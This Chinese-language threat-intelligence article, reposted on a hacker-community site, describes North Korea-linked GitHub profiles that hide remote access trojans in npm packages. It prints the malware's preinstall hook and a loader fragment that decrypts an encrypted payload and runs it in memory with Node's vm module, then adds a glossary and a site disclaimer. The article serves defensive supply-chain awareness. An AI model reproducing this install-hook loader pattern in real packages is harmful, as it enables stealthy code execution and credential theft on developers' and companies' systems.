
过去一年,安全研究人员发现了一个日益明显的趋势:与朝鲜相关联的开发者在 GitHub、CodeSandbox 和 Gist 等热门代码共享平台上创建看似可信的个人资料。
这些账号通常会托管合法的开源项目,同时暗藏恶意有效载荷,以便操作人员将恶意活动伪装成正常的开发者贡献行为。
其总体目标似乎是多方面的:为国家支持的项目创收、获取远程工作合同,并将这些工作机会作为跳板,开展更复杂的网络行动。
起初,这类个人资料之所以引发关注,是因为其异常高的活跃度,以及采用了先进的软件技术栈(包括 React.js 前端、Node.js 后端和 Docker 化部署配置)—— 这些技术选择旨在给潜在客户留下深刻印象。
然而,深入分析后发现,部分代码仓库中存在经过精心混淆处理的模块,这些模块会利用已被入侵的依赖项来植入远程访问木马(Remote Access Trojan,RAT)。
“乌鸦档案”(THE RAVEN FILE)的分析师指出,这些代码仓库通常会使用内容简洁的 README 文件转移注意力,而恶意有效载荷则被隐藏在名为.secret
或.vendor
的隐藏目录中。
此类操作已造成重大影响。一些受害者在日常依赖项更新过程中,不知不觉安装了被篡改的软件包,使得攻击者得以持久化访问企业网络或云环境。
在一个已记录在案的案例中,某金融服务公司导入了一个名为@jupyter-utils/rpc
的库,该库包含一个加载器脚本,能够拦截 WebSocket 连接,并通过内置的命令与控制(C2)通道窃取凭据。
合法功能与秘密通信的结合,使得传统基于特征码的扫描工具极难检测到这类恶意行为。
深入研究其感染机制后发现,攻击者使用的是一种多阶段加载器,该加载器仅在满足特定环境条件时才会激活。
恶意软件包安装后,会执行package.json
文件中定义的预安装脚本(preinstall script),具体代码如下:
"scripts": {
"preinstall": "node scripts/setup.js"
}
随后,setup.js
模块会先检查是否存在常见的持续集成 / 持续部署(CI/CD)目录(如.gitlab-ci
、.github/workflows
),之后再将加密的有效载荷部署到应用程序的运行时目录中。
该有效载荷以payload.enc
文件形式存储,会通过硬编码密钥在内存中解密,并立即通过 Node.js 的vm
模块执行,具体代码如下:
const vm = require('vm');
const fs = require('fs');
const key = Buffer.from(process.env.DEPLOY_KEY, 'hex');
const cipher = fs.readFileSync('./payload.enc');
const decrypted = decrypt(cipher, key);
vm.runInThisContext(decrypted);
下图(原文提及的图 1)展示了代码仓库的主 README 文件如何掩盖scripts
文件夹;而图 2(“deepfake_result.png”)则显示了用于提升可信度的深度伪造个人资料图片。

过将自身嵌入包管理器层面,并利用 CI/CD 钩子,该恶意软件实现了隐蔽安装与持久化驻留。
要清除此恶意软件,需要对依赖项进行全面审计,并验证所有安装脚本的合法性。

随着各组织对开源组件的依赖日益加深,了解这类感染途径对于保护供应链安全、维护协作开发平台的信任至关重要。
- 代码共享平台(Code-Sharing Platform):供开发者存储、管理和分享代码的在线平台,如 GitHub、Gist 等,是开源项目协作与代码复用的核心工具。
- 远程访问木马(Remote Access Trojan,RAT):一种恶意软件,攻击者可通过其远程控制受感染设备,执行文件操作、窃取数据、监控行为等操作。
- 依赖项(Dependency):软件项目运行或开发过程中所依赖的外部代码库、工具或模块,通常通过包管理器(如 npm、pip)自动安装。
- CI/CD(Continuous Integration/Continuous Deployment,持续集成 / 持续部署):一种软件开发流程,通过自动化构建、测试和部署,实现代码快速迭代与交付,相关配置文件常存储在
.gitlab-ci
、.github/workflows
等目录中。
- 命令与控制(C2/Command and Control):指攻击者用于与受感染设备通信、下发指令、窃取数据的服务器或通道,是恶意软件实现远程操控的核心环节。
红客联盟·免责声明
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
联系我们:admin@chnhonker.com